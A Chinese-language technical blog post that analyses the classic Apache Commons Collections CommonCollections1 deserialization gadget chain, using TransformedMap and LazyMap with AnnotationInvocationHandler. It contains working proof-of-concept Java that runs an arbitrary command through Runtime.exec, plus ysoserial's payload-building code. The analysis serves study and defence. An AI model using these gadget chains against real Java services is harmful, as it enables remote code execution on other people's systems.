Common Collections 反序列化漏洞歷史在上一篇文章中有稍微提過
這個漏洞在 2015 年時,對整個 Java 生態系造成不小的影響
後續也愈來愈多奇形怪狀的 Gadget chain 被大佬們一一挖出來
而本篇文章就以 ysoserial 中經典的 CommonCollections1 這條 Gadget chain 來做分析
雖然網路上類似本篇的分析文很多,但只看文章其實很難體會到 java gadget chain 裡頭的精髓
強烈建議大家有興趣、有時間的話,可以自己拉原始碼下來跟一遍,相信可以收穫更多 !
p.s. 這裡我分析的版本是 Common Collections 3.1 和 JDK 8
Apache Common Collections
主要是一個用來擴充原生 Java Collection 的一個第三方 Library
(簡單說,就是一個擴充包的概念)
而 Collection 基本上就可以視為是 Set
, List
, Queue
等類別的抽象概念
所以 Common Collections 中提供了許多方式,能讓我們對這些 Collection 做操作
或是對各種資料結構做封裝、抽象化,簡化原本 JDK 中複雜的操作方式
例如後面會提到的各種 Transformer
,最主要就是用來對這些 Collection 做內容轉換的
也因為它的方便性和實用性,所以許多框架預設都有引用這個 Library
導致一旦底層 Library 出問題,上面所有框架都會接連一起爆炸
先從 Transformer
開始看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
// org.apache.commons.collections.Transformer
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
|
它是一個接口,主要用處就如同字面上的意思,是用來對輸入的物件做轉換
裡面最重要的就是 transform()
方法,我們後面會一直用到它!
接著來看幾個串 gadget chain 時會用到的 transformer 類別
一、 ConstantTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public class ConstantTransformer implements Transformer, Serializable {
...
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
...
}
|
這個類別的 transform()
方法實作非常簡潔,直接吐回我們在呼叫 constructor 時設定的物件
也就是我們輸入的物件,沒有經過任何轉換操作就直接返回
二、 InvokerTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
...
}
}
...
}
|
InvokerTransformer
的 transform()
方法會透過反射,呼叫物件的方法
而值得注意的是,方法名、參數等都是我們在 constructor 中可控的,所以我們可以對輸入的 input
物件,做任意方法呼叫!
三、 ChainedTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public class ChainedTransformer implements Transformer, Serializable {
...
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
...
}
|
ChainedTransformer
這個類別就有意思了,iTransformers
是一個 transformer 陣列,我們一樣可以透過 constructor 設定它
這裡 transform()
方法,會去對 iTransformers
中每一個 transformer 去呼叫其對應的 transfomr()
方法 !
也就是前一個 Transformer transform()
完的結果,會被當成下一個 Transformer transform()
的輸入
所以就能串成一個 transformer chain
到目前為止,這幾個 transformer 實際上組合一下,就已經能變成一個任意代碼執行了 !
1
2
3
4
5
6
7
8
9
10
|
public static void main(String args[]) {
Transformer[] transformer_arr = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})
};
Transformer chain = new ChainedTransformer(transformer_arr);
chain.transform(chain);
}
|
但只有這樣是不夠的
目前我們是手動建立 transformer,並手動呼叫 ChainedTransformer.transform()
方法來觸發整個 gadget chain
我們需要一個能夠自動去觸發 transform()
的方法
先來看 TransformedMap
這個類別 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
/**
* Decorates another <code>Map</code> to transform objects that are added.
* <p>
* The Map put methods and Map.Entry setValue method are affected by this class.
* Thus objects must be removed or searched for using their transformed form.
* For example, if the transformation converts Strings to Integers, you must
* use the Integer form to remove objects.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
*
* @author Stephen Colebourne
*/
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
/** Serialization version */
private static final long serialVersionUID = 7023152376788900464L;
/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
...
|
可以看到這邊的 TransformedMap
繼承了抽象類別 AbstractInputCheckedMapDecorator
而 AbstractInputCheckedMapDecorator
又繼承了抽象類別 AbstractMapDecorator
這個 AbstractMapDecorator
實際上實作了 JDK 的 Map
interface
其中 TransformedMap
的 keyTransformer
和 valueTransformer
對應 key 跟 value 改變時要做的操作
當 key 或 value 被修改時,就會去調用對應 Transformer 的 transform
方法
有很多地方都能夠觸發 keyTransformer.transform()
或 valueTransformer.transform()
但為了後面漏洞利用能繼續串另一個 class,我們這裡採用的是 AbstractInputCheckedMapDecorator.entrySet()
這條路去觸發
首先,TransformedMap.decorate()
會回傳一個 TransformedMap
並且可以讓我們設定其中的 keyTransformer
和 valueTransformer
所以這裡就能放我們前面串的那個 ChainedTransformer
當作 key 或 value 的 Transformer
接著我們看 AbstractInputCheckedMapDecorator.entrySet()
:
1
2
3
4
5
6
7
8
9
10
11
|
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
protected boolean isSetValueChecking() {
return true;
}
|
當 isSetValueChecking()
條件成立時,會用到內部類別 EntrySet
:
1
2
3
4
5
6
7
8
9
10
|
static class EntrySet extends AbstractSetDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
...
}
|
接著我們繼續看 AbstractInputCheckedMapDecorator$EntrySet
的 iterator()
方法
1
2
3
|
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
}
|
iterator()
方法又去建立了一個內部類別 EntrySetIterator
的實例
你可能想問: 這裡沒地方用到這些方法,為啥要看它們呢?
因為後面會有另一個 class 有同時用到這些東西,所以我們後面會再把這些一起串起來 !
繼續看 AbstractInputCheckedMapDecorator$EntrySetIterator
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
static class EntrySetIterator extends AbstractIteratorDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
}
|
next()
方法透過 iterator
去取得 Map.Entry
物件
接著 new 了一個 MapEntry
實例返回
繼續看這個 MapEntry
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
|
這裡關鍵是這個 setValue()
方法
可以看到它呼叫了 parent.checkSetValue(value)
這個 parent
其實就是 AbstractInputCheckedMapDecorator
而實作 checkSetValue()
方法是在 TransformedMap.checkSetValue()
這邊:
1
2
3
|
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
|
終於,看到我們朝思暮想的 valueTransformer.transform(value)
了 !
所以我們就能把前面任意代碼執行的 Code,改成用 TransformedMap
的 setValue()
來觸發了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
static void main(String args[]) {
Transformer[] transformer_arr = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})
};
Transformer chain = new ChainedTransformer(transformer_arr);
Map innerMap = new HashMap();
innerMap.put(null, null);
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Set set = outerMap.entrySet();
Iterator it = set.iterator();
Map.Entry ent = (Map.Entry) it.next();
// Trigger
ent.setValue(null);
}
|
但一樣還是沒解決自動觸發的問題,這裡仍然是我們手動去呼叫 setValue()
而且還有前面提過的 iterator()
, next()
等方法,其實都是我們手動去執行的
需要找到一個 gadget 可以幫我們完成這些事情
而滿足我們要求的 gadget 就是下面要講的這個 sun.reflect.annotation.AnnotationInvocationHandler
類別:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
/**
* InvocationHandler for dynamic proxy implementation of Annotation.
*
* @author Josh Bloch
* @since 1.5
*/
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
...
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
...
}
|
可以看到 memberValues
就是一個 Map<String, Object>
而 readObject()
方法中,for 迴圈的寫法,實際上就恰巧用到了 iterator()
和 next()
!
1
2
3
|
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
...
}
|
這裡的 for 迴圈背後,實際上大致等同於
1
2
3
4
|
for(Iterator iterator = memberValues.entrySet().iterator(); iterator.hasNext();) {
Map.Entry<String, Object> memberValue = iterator.next();
...
}
|
所以這裡我們就一口氣用到了剛剛沒串起來的 entrySet()
, iterator()
, next()
!
最後面則去呼叫了 memberValue.setValue(...)
,導致我們整條 chain 被觸發 !
加上是 readObject()
方法的關係,所以反序列化時會自動呼叫該方法
自動觸發整個反序列化 gadget chain,達到任意代碼執行
打完收工 !
第二條路#
其實如果你去看 ysoserial 的 code
會發現它用的其實不是 TransformedMap
,而是走我們現在要講的 LazyMap
這條路
概念都大同小異,就是想辦法找條路去觸發 transformer 的 transform()
方法
先來看看初始化的部分:
1
2
3
4
5
6
7
8
9
10
11
|
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
|
這裡 decorate()
一樣會去設定 Map 和 Transformer
而我們看一下 LazyMap.get()
:
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
這裡直接就呼叫了 factory.transform(key)
所以我們只要想辦法透過 readObject()
去呼叫 LazyMap.get()
就能觸發整個反序列化 Chain
但事情沒那麼簡單,找不到那麼單純的 readObject()
可以直接呼叫 get()
(至少我沒找到QQ)
CommonCollections1 的方式是透過 Dynamic Proxy 的方式去呼叫這個方法
代理模式:
是一種設計模式(Design Pattern)。簡單說,就是找一個代理人,然後把事情都丟給他做 (沒錯,就是進藤光跟佐為的關係)
而對於 java 靜態代理和動態代理不熟的讀者,推薦參考這篇文章
我們直接看 ysoserial 中構造 Payload 的方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
// Gadgets.createMemoitizedProxy()
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
// Gadgets.createMemoizedInvocationHandler()
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
// Gadgets.createProxy()
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
// Reflections.setFieldValue()
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
|
先來看 createMemoizedInvocationHandler()
中的這段:
1
|
(InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
上面這行就是對應到這段:
1
2
3
4
|
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
|
所以 createMemoitizedProxy
實際上就是建立了一個 Map
介面的 Proxy (mapProxy
)
並將 memberValues
設為 LazyMap
的 AnnotationInvocationHandler
而下一行的 handler
則是建立 memberValues
為 mapProxy
的 AnnotationInvocationHandler
物件
這個 handler
就是我們要反序列化觸發 gadget chain 的惡意物件 !
關鍵在於,AnnotationInvocationHandler
反序列化時,會去呼叫 readObject()
方法,並且其中又會去呼叫 memberValues.entrySet()
若 memberValues
是一個代理物件,就會去呼叫對應 handler 的 invoke()
方法
而 AnnotationInvocationHandler.invoke()
如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
...
|
會一直走到 memberValues.get(member)
也就對應到前面講的 LazyMap.get()
成功觸發反序列化 chain 執行 !
這篇介紹了 CommonCollections1 的兩種 gadget chain
其中 LazyMap
的呼叫流程可以簡化成如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
|
這條 gadget chain 的關鍵在於動態代理的利用方式,第一次看時腦袋會比較難轉過來
而另一條 gadget chain 就相對沒那麼複雜,是透過串 Map Entry 的 iterator 各種操作到達 setValue()
觸發整條 chain 執行
本篇文章分析了 Common Collections 漏洞中非常經典的 CommonCollections1 這條 Gadget Chain
而以 Common Collections 來說,除了 CommonCollections1 以外,其實還有 CommonCollections2, 3, 4, 5, … 各種 chain
如果我有時間的話,也許未來會再分析看看其他條 chain (吧)
不知不覺又寫了一篇 Java,感覺繼續下去也許有機會變成一系列 Java 大合集 (?